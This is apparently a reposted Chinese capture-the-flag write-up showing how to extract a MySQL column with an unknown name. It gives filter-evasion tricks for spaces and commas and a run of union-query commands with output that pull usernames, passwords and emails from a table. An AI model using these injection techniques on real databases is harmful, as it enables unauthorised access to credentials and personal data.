Mysql如何巧妙的绕过未知字段名详解
发布日期:2022-04-12 19:38 | 文章来源:源码中国
本文介绍的是DDCTF第五题,绕过未知字段名的技巧,这里拿本机来操作了下,思路很棒也很清晰,分享给大家,下面来看看详细的介绍:
实现思路
题目过滤空格和逗号,空格使用%0a,%0b,%0c,%0d,%a0,或者直接使用括号都可以绕过,逗号使用join绕过;
存放flag的字段名未知,information_schema.columns也将表名的hex过滤了,即获取不到字段名;这时可以利用联合查询,过程如下:
思想就是获取flag,让其在已知字段名下出现;
示例代码:
mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d; +---+---+---+---+ | a | b | c | d | +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ 1 row in set (0.00 sec) mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d; +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ 1 row in set (0.00 sec) mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user; +---+-------+----------+-------------+ | 1 | 2 | 3 | 4 | +---+-------+----------+-------------+ | 1 | 2 | 3 | 4 | | 1 | admin | admin888 | 110@110.com | | 2 | test | test123 | 119@119.com | | 3 | cs | cs123 | 120@120.com | +---+-------+----------+-------------+ 4 rows in set (0.01 sec) mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e; +-------------+ | 4 | +-------------+ | 4 | | 110@110.com | | 119@119.com | | 120@120.com | +-------------+ 4 rows in set (0.03 sec) mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3; +-------------+ | 4 | +-------------+ | 120@120.com | +-------------+ 1 row in set (0.01 sec) mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i; +-------------+----------+----------+-------------+ | id | username | password | email | +-------------+----------+----------+-------------+ | 1 | admin | admin888 | 110@110.com | | 120@120.com | 1 | 1 | 1 | +-------------+----------+----------+-------------+ 2 rows in set (0.04 sec)
总结
以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作能带来一定的帮助,如果有疑问大家可以留言交流,谢谢大家对本站的支持。
版权声明:本站文章来源标注为YINGSOO的内容版权均为本站所有,欢迎引用、转载,请保持原文完整并注明来源及原文链接。禁止复制或仿造本网站,禁止在非www.yingsoo.com所属的服务器上建立镜像,否则将依法追究法律责任。本站部分内容来源于网友推荐、互联网收集整理而来,仅供学习参考,不代表本站立场,如有内容涉嫌侵权,请联系alex-e#qq.com处理。
相关文章
下一篇: